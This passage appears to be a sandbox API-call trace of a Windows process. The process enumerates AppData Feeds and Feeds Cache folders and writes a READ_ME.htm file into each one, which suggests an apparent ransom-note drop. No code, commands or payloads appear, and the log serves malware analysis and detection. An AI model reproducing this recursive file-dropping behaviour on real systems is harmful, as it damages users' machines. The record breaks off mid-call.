GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm", lpFilePart=0x0) returned 0x6d [0142.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm", lpszLongPath=0x21c960, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0142.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21c940, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x61 [0142.883] SetErrorMode (uMode=0x1) returned 0x0 [0142.883] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.884] GetFileType (hFile=0x1d0) returned 0x1 [0142.884] SetErrorMode (uMode=0x0) returned 0x1 [0142.884] GetFileType (hFile=0x1d0) returned 0x1 [0142.884] WriteFile (in: hFile=0x1d0, lpBuffer=0x295d9a0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x295d9a0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0142.885] CloseHandle (hObject=0x1d0) returned 1 [0142.886] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cc30, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x57 [0142.887] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm", lpFilePart=0x0) returned 0x62 [0142.887] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm", lpszLongPath=0x21ca20, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0142.887] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21ca00, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x56 [0142.889] SetErrorMode (uMode=0x1) returned 0x0 [0142.889] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.890] GetFileType (hFile=0x1d0) returned 0x1 [0142.890] SetErrorMode (uMode=0x0) returned 0x1 [0142.890] GetFileType (hFile=0x1d0) returned 0x1 [0142.890] WriteFile (in: hFile=0x1d0, lpBuffer=0x29620d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29620d0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.891] CloseHandle (hObject=0x1d0) returned 1 [0142.892] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0142.892] SetErrorMode (uMode=0x1) returned 0x0 [0142.892] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.892] GetFileType (hFile=0x1d0) returned 0x1 [0142.892] SetErrorMode (uMode=0x0) returned 0x1 [0142.892] GetFileType (hFile=0x1d0) returned 0x1 [0142.893] WriteFile (in: hFile=0x1d0, lpBuffer=0x2966680*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2966680*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.894] CloseHandle (hObject=0x1d0) returned 1 [0142.894] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x34 [0142.894] SetErrorMode (uMode=0x1) returned 0x0 [0142.894] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.960] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0142.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0142.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0142.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.961] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0142.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0142.962] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0142.962] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.963] SetErrorMode (uMode=0x0) returned 0x1 [0142.964] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x34 [0142.964] SetErrorMode (uMode=0x1) returned 0x0 [0142.964] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0142.965] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0142.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0142.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0142.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0142.966] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0142.966] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.967] SetErrorMode (uMode=0x0) returned 0x1 [0142.968] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3d [0142.968] SetErrorMode (uMode=0x1) returned 0x0 [0142.968] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.970] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.970] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.970] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.970] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.970] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.970] SetErrorMode (uMode=0x0) returned 0x1 [0142.971] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR", lpFilePart=0x0) returned 0x3d [0142.971] SetErrorMode (uMode=0x1) returned 0x0 [0142.971] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.971] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.972] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.972] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.972] SetErrorMode (uMode=0x0) returned 0x1 [0142.972] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0142.972] SetErrorMode (uMode=0x1) returned 0x0 [0142.973] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.973] GetFileType (hFile=0x1d0) returned 0x1 [0142.973] SetErrorMode (uMode=0x0) returned 0x1 [0142.973] GetFileType (hFile=0x1d0) returned 0x1 [0142.973] WriteFile (in: hFile=0x1d0, lpBuffer=0x296f1d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x296f1d8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.975] CloseHandle (hObject=0x1d0) returned 1 [0142.975] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3d [0142.975] SetErrorMode (uMode=0x1) returned 0x0 [0142.975] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.976] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, 